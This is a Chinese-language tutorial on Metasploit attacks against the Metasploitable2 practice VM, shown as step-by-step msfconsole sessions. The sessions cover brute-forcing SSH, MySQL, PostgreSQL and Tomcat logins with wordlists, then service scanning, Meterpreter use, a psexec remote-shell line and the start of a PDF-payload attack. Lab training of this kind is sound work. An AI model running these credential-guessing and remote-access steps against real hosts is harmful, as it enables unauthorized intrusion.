一、前言

  漏洞利用是获得系统控制权限的重要途经。用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制。  

二、Metasploitable

  Metasploitable是一款基于Ubuntu Linux的操作系统。该系统是一个虚拟机文件,从https://sourceforge.net/projects/metasploitable/files/latest/download 网站获取最新版,下载解压之后可以直接使用,无需安装。Metasploitable就是用来作为攻击用的靶机,所以它存在大量为打补丁漏洞,并且开放了无数高危端口。

三、Metasploit基础

  Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。

3.1  Metasplot终端(MSF console)

  MSF终端(msf console)是目前Metasploit框架最为流行的用户接口,而且也是非常灵活的。因为MSF终端是Metasploit框架中最灵活、功能最丰富及支持最好的工具之一。msf console主要用户管理Metasploit数据库,管理绘画、配置并启动Metasploit模块。本质上来说,就是为了利用漏洞,msf console将获取用户连接到主机的信息,以至于用户能启动渗透攻击目标系统。

  当使用Metasploit控制台时,将使用一些通用的命令,如下所示。

help: 该命令允许用户查看执行命令的帮助信息。
user module: 该命令允许用户加载选择的模块。
set optionname module: 该命令为模块设置不同的选项。
run: 该命令用来启动一个非渗透攻击模块
search module: 该命令用于搜索一个特定的模块。
exit: 退出msf console

(1) 在终端启动msf console,执行命令如下所示:

root@kali:~/桌面# msfconsole 

Kali  MSF漏洞利用-编程知识网

 输出的信息出现msf5>提示符,表示登录msf console成功。此时就可以允许其他命令了。

(2)使用search命令搜索所有有效的模块。

msf5 > search ssh_login 

执行以上命令后,输出信息如下所示:

Kali  MSF漏洞利用-编程知识网

 (3)使用SSH口令爆破模块

msf5 > use auxiliary/scanner/ssh/ssh_login     # 等同于 use 0    0表示前面的编号 

Kali  MSF漏洞利用-编程知识网

 (4)查看模块有效选项,执行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > show options 

Kali  MSF漏洞利用-编程知识网

 (5)设置有效参数,执行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.244.132
rhosts => 192.168.244.132
msf5 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/sshpass.txt
pass_file => /root/sshpass.txt

Kali  MSF漏洞利用-编程知识网

 (6)启动模块,执行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > run

Kali  MSF漏洞利用-编程知识网

 (7)查看session,执行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

Kali  MSF漏洞利用-编程知识网

 (3) 连接session,执行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1

如下图所示,已成功连接至目标主机

Kali  MSF漏洞利用-编程知识网

3.2 Meterpreter 

  Meterpreter通常作为利用漏洞后的攻击载荷所使用,攻击载荷在出发漏洞后能返回给用户一个控制通道。当使用msfconsole获取到目标系统上的一个Meterpreter连接时,用户必须使用Meterpreter传递攻击载荷。msfconsole用于管理用户的会话,而Meterpreter则是攻击载荷和渗透攻击交互。

  Meterpreter常见的命令如下所示:

help: 查看帮助信息
background: 允许用户在后台Meterpreter会话。
download:允许用户从入侵主机上下载文件。
upload:允许用户上传文件到入侵主机。
execute:允许用户在入侵主机上执行命令。
shell:允许用户在入侵主机上(仅是Windows主机)运行Windows shell命令。
sessions -i: 允许用户切换会话

 四、渗透攻击应用

4.1 渗透攻击MySQL数据库

目标靶机使用的Metasploitable2

msf5 > search mysql_login
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/mysql/mysql_login) > set user_file /root/username.txt
user_file => /root/username.txt
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/password.txt
pass_file => root/password.txt
msf5 auxiliary(scanner/mysql/mysql_login) > exploit

Kali  MSF漏洞利用-编程知识网

 输出的信息是渗透攻击的一个过程,尝试使用指定的用户名/密码文件中的用户名和密码连接MySQL服务器。在渗透攻击过程中,Metasploit会尝试输入用户名和密码文件包含的用户名和密码组合。

4.2 渗透攻击PostgreSQL数据库服务

目标靶机使用的Metasploitable2

msf5 > search postgres_login
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
msf5 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
msf5 auxiliary(scanner/postgres/postgres_login) > exploit

Kali  MSF漏洞利用-编程知识网

 4.3 渗透攻击Tomcat服务

  Tomcat默认存在一个管理后台,默认的管理地址是http://IP:端口/manager/html。通过此后台,可以在不重启Tomcat服务的情况西安方便地部署、启动、停止或卸载Web应用。但是如果配置不当的话就存在很大的安全隐患。攻击者利用这个漏洞,可以非常快速、轻松地入侵一台服务器。

目标靶机使用的Metasploitable2

msf5 > search tomcat_mgr_login
msf5 > use auxiliary/scanner/http/tomcat_mgr_login
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180
rport => 8180
msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit

Kali  MSF漏洞利用-编程知识网

 4.4 渗透攻击Telnet服务

msf5 > search telnet_version
msf5 auxiliary(scanner/http/tomcat_mgr_login) > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/telnet/telnet_version) > exploit

Kali  MSF漏洞利用-编程知识网

 4.5 渗透攻击Samba服务

  Samba是实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。Samba服务对应的端口有139和445等,只要开启这些端口后,主机就可能存在Samba服务远程溢出漏洞。

      目标靶机使用的Metasploitable2

msf5 > search smb_version
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/smb/smb_version) > exploit

   假如通过SMB爆破出目标主机的用户及密码、目标主机又没有开启RDP时,可以使用psexec.exe \目标主机地址 -l administrator -p 1234567 cmd.exe

4.6 PDF文件攻击

  PDF是一种文件格式,该文件的使用比较广泛,并且容易传输。通常工作中,用户都是从工作程序中打开了一个合法的PDF文档。当打开该文档时,该用户的主机就可能被攻击。Metasploit提供了一个渗透攻击模块,可以创建一个攻击载荷,通过传递该攻击载荷对目标系统进行渗透攻击。

msf5 auxiliary(scanner/smb/smb_version) > search adobe_pdf_embedded_exe